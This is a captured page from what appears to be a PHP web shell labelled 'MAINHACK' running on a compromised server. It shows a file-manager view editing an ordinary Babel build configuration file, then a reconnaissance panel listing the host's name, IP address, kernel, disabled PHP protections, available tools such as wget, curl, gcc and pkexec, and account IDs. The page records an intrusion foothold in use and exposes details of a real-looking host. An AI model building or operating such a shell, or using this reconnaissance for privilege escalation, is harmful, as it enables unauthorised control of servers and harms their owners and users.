[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BabelConfig.js
const babel = require('@babel/core'); /** * @typedef {string|string[]} BabelTargetsBrowserslist * @typedef {Record<string,string> & {browsers: BabelTargetsBrowserslist}} BabelTargetsPerEngine * @typedef {BabelTargetsBrowserslist | BabelTargetsPerEngine} BabelTargets */ /** * @typedef {object} AdditionalBabelOptions * @property {boolean} [cacheDirectory] * @property {BabelTargets} [targets] */ /** @typedef {import("@babel/core").TransformOptions & AdditionalBabelOptions} BabelOptions */ class BabelConfig { /** * * @param {import("./Mix")} [mix] */ constructor(mix) { this.mix = mix || global.Mix; } /** * Generate the appropriate Babel configuration for the build. * * @deprecated */ static generate() { return new BabelConfig().generate(); } /** * Generate the appropriate Babel configuration for the build. */ generate() { return this.mergeAll([ this.default(), this.getCustomConfig(this.mix.config.babelConfig), { root: this.mix.paths.root(), babelrc: true, configFile: true, babelrcRoots: ['.', this.mix.paths.root()] } ]); } /** * Fetch the user's .babelrc config file, if any. * * @param {string} path * @deprecated */ fetchBabelRc(path) { const File = require('./File'); return File.exists(path) ? JSON.parse(File.find(path).read()) : {}; } /** * Get the babel config setup when using mix.babelConfig() * * @internal * @param {import('@babel/core').TransformOptions} customOptions */ getCustomConfig(customOptions) { const config = babel.loadPartialConfig(customOptions); return config ? config.options : {}; } /** * Merge babel configs * * @param {BabelOptions[]} configs */ mergeAll(configs) { const options = configs.reduce((prev, current) => { const presets = [...(prev.presets || []), ...(current.presets || [])].map( preset => babel.createConfigItem(preset, { type: 'preset' }) ); const plugins = [...(prev.plugins || []), ...(current.plugins || [])].map( preset => babel.createConfigItem(preset, { type: 'plugin' }) ); return Object.assign(prev, current, { presets, plugins }); }); options.plugins = this.filterConfigItems(options.plugins || []); options.presets = this.filterConfigItems(options.presets || []); return options; } /** * Filter merged presets or plugins * * @internal * @param {import("@babel/core").PluginItem[]} items * @returns {import("@babel/core").PluginItem[]} */ filterConfigItems(items) { /** * * @param {import("@babel/core").PluginItem[]} unique * @param {import("@babel/core").PluginItem} item * @returns */ function dedupe(unique, item) { if (item.file != null) { const toDeleteIndex = unique.findIndex( element => element.file && element.file.resolved === item.file.resolved ); if (toDeleteIndex >= 0) { unique.splice(toDeleteIndex, 1); } } return [...unique, item]; } return items.reduce((unique, configItem) => dedupe(unique, configItem), []); } /** @deprecated */ static default() { return new BabelConfig().default(); } /** * Fetch the default Babel configuration. * * @internal * @returns {BabelOptions} */ default() { return { cacheDirectory: true, presets: [ ['@babel/preset-env', { modules: false, forceAllTransforms: true }] ], plugins: [ '@babel/plugin-syntax-dynamic-import', '@babel/plugin-proposal-object-rest-spread', [ '@babel/plugin-transform-runtime', { helpers: false } ] ] }; } } module.exports = BabelConfig;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002